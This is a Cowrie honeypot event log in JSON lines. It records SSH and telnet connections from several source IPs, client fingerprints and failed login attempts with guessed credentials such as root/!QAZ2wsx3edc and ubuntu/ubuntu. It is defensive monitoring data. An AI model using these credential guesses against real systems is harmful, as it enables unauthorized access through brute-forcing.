{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:43.202412Z","src_ip":"31.40.204.166","session":"00e8082d047f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:43.726928Z","src_ip":"31.40.204.166","session":"00e8082d047f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:44.909867Z","src_ip":"31.40.204.166","session":"00e8082d047f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41160,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e792324ce93","protocol":"telnet","message":"New connection: 152.42.224.71:41160 (10.17.0.5:23) [session: 7e792324ce93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:47.570800Z"}
{"eventid":"cowrie.session.closed","duration":41.798476219177246,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:47.668775Z","src_ip":"152.42.224.71","session":"fe35d53993e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41168,"dst_ip":"10.17.0.5","dst_port":23,"session":"97053e5a111e","protocol":"telnet","message":"New connection: 152.42.224.71:41168 (10.17.0.5:23) [session: 97053e5a111e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:49.751593Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41180,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55e0ea511f5","protocol":"telnet","message":"New connection: 152.42.224.71:41180 (10.17.0.5:23) [session: c55e0ea511f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:51.067783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41198,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c523ff80b1","protocol":"telnet","message":"New connection: 152.42.224.71:41198 (10.17.0.5:23) [session: 96c523ff80b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:53.756443Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41194,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b926cec7e6","protocol":"telnet","message":"New connection: 152.42.224.71:41194 (10.17.0.5:23) [session: c1b926cec7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:54.194917Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2db7ec04605","protocol":"ssh","message":"New connection: 31.40.204.166:57808 (159.203.135.109:22) [session: e2db7ec04605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:54.703641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:54.709404Z","src_ip":"31.40.204.166","session":"e2db7ec04605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:54.892075Z","src_ip":"31.40.204.166","session":"e2db7ec04605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:55.606292Z","src_ip":"31.40.204.166","session":"e2db7ec04605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:56.787256Z","src_ip":"31.40.204.166","session":"e2db7ec04605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.56929039955139,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:58.594646Z","src_ip":"152.42.224.71","session":"f2100a5905df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45332,"dst_ip":"10.17.0.5","dst_port":22,"session":"54194eece9bf","protocol":"ssh","message":"New connection: 103.98.149.87:45332 (10.17.0.5:22) [session: 54194eece9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:59.112956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:59.124570Z","src_ip":"103.98.149.87","session":"54194eece9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:59.338856Z","src_ip":"103.98.149.87","session":"54194eece9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daniil","message":"login attempt [root/daniil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:00.262066Z","src_ip":"103.98.149.87","session":"54194eece9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:02.467216Z","src_ip":"103.98.149.87","session":"54194eece9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45140,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bba655c2e3c","protocol":"ssh","message":"New connection: 31.40.204.166:45140 (159.203.135.109:22) [session: 8bba655c2e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:07.482379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:07.495151Z","src_ip":"31.40.204.166","session":"8bba655c2e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.981231927871704,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:07.553157Z","src_ip":"152.42.224.71","session":"43f35ce2cd52","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:07.616929Z","src_ip":"31.40.204.166","session":"8bba655c2e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:08.297549Z","src_ip":"31.40.204.166","session":"8bba655c2e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57894,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0edfc3d1245","protocol":"telnet","message":"New connection: 152.42.224.71:57894 (10.17.0.5:23) [session: e0edfc3d1245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:08.446426Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:09.599203Z","src_ip":"31.40.204.166","session":"8bba655c2e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.678431510925293,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:12.249131Z","src_ip":"152.42.224.71","session":"7e792324ce93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.720229625701904,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:16.411447Z","src_ip":"152.42.224.71","session":"8dab54cb705b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.360459327697754,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:16.428224Z","src_ip":"152.42.224.71","session":"c55e0ea511f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.900543928146362,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:16.656697Z","src_ip":"152.42.224.71","session":"96c523ff80b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.48068594932556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:16.783238Z","src_ip":"152.42.224.71","session":"c8c5b2543e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58632,"dst_ip":"10.17.0.5","dst_port":23,"session":"0842609005aa","protocol":"telnet","message":"New connection: 152.42.224.71:58632 (10.17.0.5:23) [session: 0842609005aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:17.009675Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37344,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfcf3aa63369","protocol":"ssh","message":"New connection: 31.40.204.166:37344 (159.203.135.109:22) [session: dfcf3aa63369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:18.883961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:18.896006Z","src_ip":"31.40.204.166","session":"dfcf3aa63369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:19.018343Z","src_ip":"31.40.204.166","session":"dfcf3aa63369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:19.606097Z","src_ip":"31.40.204.166","session":"dfcf3aa63369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65825176239014,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:19.610804Z","src_ip":"152.42.224.71","session":"415faf1a4751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:20.779467Z","src_ip":"31.40.204.166","session":"dfcf3aa63369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58648,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb8ec1cd91b","protocol":"telnet","message":"New connection: 152.42.224.71:58648 (10.17.0.5:23) [session: 1fb8ec1cd91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:21.209159Z"}
{"eventid":"cowrie.session.closed","duration":50.80691194534302,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:21.264045Z","src_ip":"152.42.224.71","session":"3141a601b34c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58658,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e5f4ef514d","protocol":"telnet","message":"New connection: 152.42.224.71:58658 (10.17.0.5:23) [session: d6e5f4ef514d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:21.437500Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58664,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ec6983fef2","protocol":"telnet","message":"New connection: 152.42.224.71:58664 (10.17.0.5:23) [session: 19ec6983fef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:22.405099Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64b62366cef","protocol":"telnet","message":"New connection: 152.42.224.71:58666 (10.17.0.5:23) [session: a64b62366cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:23.883556Z"}
{"eventid":"cowrie.session.closed","duration":45.57510423660278,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:25.744122Z","src_ip":"152.42.224.71","session":"9a521625cdb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"68d4a5835711","protocol":"telnet","message":"New connection: 152.42.224.71:58884 (10.17.0.5:23) [session: 68d4a5835711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:28.206447Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c8b0139dde","protocol":"telnet","message":"New connection: 152.42.224.71:58886 (10.17.0.5:23) [session: 05c8b0139dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:29.791841Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40678,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a756ad6dd29","protocol":"ssh","message":"New connection: 31.40.204.166:40678 (159.203.135.109:22) [session: 2a756ad6dd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:30.483662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:30.488876Z","src_ip":"31.40.204.166","session":"2a756ad6dd29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:30.620533Z","src_ip":"31.40.204.166","session":"2a756ad6dd29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:31.242424Z","src_ip":"31.40.204.166","session":"2a756ad6dd29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:32.418983Z","src_ip":"31.40.204.166","session":"2a756ad6dd29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2b4f513aea","protocol":"ssh","message":"New connection: 103.153.68.219:53296 (10.17.0.5:22) [session: 1f2b4f513aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:34.825544Z"}
